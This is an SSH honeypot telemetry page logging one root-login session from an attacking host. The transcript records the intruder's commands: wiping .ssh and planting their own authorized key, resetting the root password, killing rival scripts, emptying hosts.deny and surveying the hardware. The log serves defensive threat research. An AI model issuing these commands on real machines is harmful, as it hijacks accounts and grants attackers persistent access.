sshoney · ssh honeypot telemetry

Session
ivory-pristine-sandpiper
Source
194.156.249.154
Protocol
ssh/exec
User
root
Auth attempts
1
Commands
18
Transcript
2.8 K

Client

SSH-2.0-libssh_0.9.6
exec: cd ~; chattr -ia .ssh; lockr -ia .ssh

Credentials attempted

usernamepasswordmethodtier result
root147896325passwordotheraccepted

Transcript

12:34:20 $ cd ~; chattr -ia .ssh; lockr -ia .ssh
12:34:21 $ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
12:34:25 $ cat /proc/cpuinfo | grep name | wc -l
         1  (1096ms)
12:34:27 $ echo "root:PvtZ7Or3MiGl"|chpasswd|bash
12:34:27 $ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
12:34:27 $ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
         EPYC 7713 64-Core Processor x1  (831ms)
12:34:29 $ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
         956 218 738 0 0 0  (760ms)
12:34:30 $ ls -lh $(which ls)
         lrwxrwxrwx 1 root root 7 Jan  1  2026 /usr/bin/ls -> busybox  (761ms)
12:34:31 $ crontab -l
         # Edit this file to introduce tasks to be run by cron.
         # 
         # Each task to run has to be defined through a single line
         # indicating with different fields when the task will be run
         # and what command to run for the task
         # 
         # For example, you can run a backup of all your user accounts
         # at 5 a.m every week with:
         # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/*
         #
         # m h  dom mon dow   command
         */15 * * * * /opt/stable/bin/muck-out.sh >> /var/log/muck-out.log 2>&1
         0 2 * * * /opt/stable/bin/gallop-backup.sh >/dev/null 2>&1
         5 3 * * * /opt/stable/bin/hoofcheck.sh --cron >/var/log/hoofcheck.log 2>&1  (2182ms)
12:34:33 $ w
          03:09:53 up  9:24,  1 user,  load average: 0.08, 0.05, 0.01
         USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
         root     pts/0    203.0.113.1     03:10    0.00s  0.02s  0.00s w  (1200ms)
12:34:35 $ uname -m
         x86_64
12:34:35 $ cat /proc/cpuinfo | grep model | grep name | wc -l
         64  (510ms)
12:34:36 $ top
         top - 12:34:36 up  9:24,  0 user,  load average: 0.3, 0.28, 0.31
         Tasks: 108 total,   1 running, 107 sleeping,   0 stopped,   0 zombie
         %Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st
         MiB Mem :    956 total,    516 free,    439 used
         MiB Swap:    511 total,    511 free,        0 used
         
             PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
               1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd
             742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx
             889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres
            1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node
         ^C
12:34:37 $ uname
         Linux
12:34:37 $ uname -a
         Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
12:34:37 $ whoami
         root
12:34:38 $ lscpu | grep Model
         Model name:                         AMD EPYC 7713 64-Core Processor  (979ms)
12:34:39 $ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
         24.0G  (1512ms)